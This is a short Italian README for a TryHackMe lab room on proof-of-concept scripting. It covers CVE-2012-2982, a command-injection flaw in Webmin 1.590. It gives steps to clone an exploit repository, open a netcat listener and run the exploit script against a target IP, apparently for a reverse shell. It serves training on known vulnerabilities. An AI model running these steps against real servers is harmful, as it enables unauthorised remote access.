
Esercitati nello scripting POC nella room intro poc scripting di Tryhackme (Per Linux)
file/show.cgi in Webmin 1.590 e versioni precedenti consente a utenti remoti autenticati di eseguire comandi arbitrari tramite un carattere non valido in un percorso, come dimostrato da un carattere | (pipe).
git clone https://github.com/CpyRe/CVE-2012-2982.gitpip3 install -r requirements.txtnc -nlvp <port>python3 exp.py <myip> <vulnip> <port>
OPPURE
python3 subprocess-exp.py <myip> <vulnip> <port>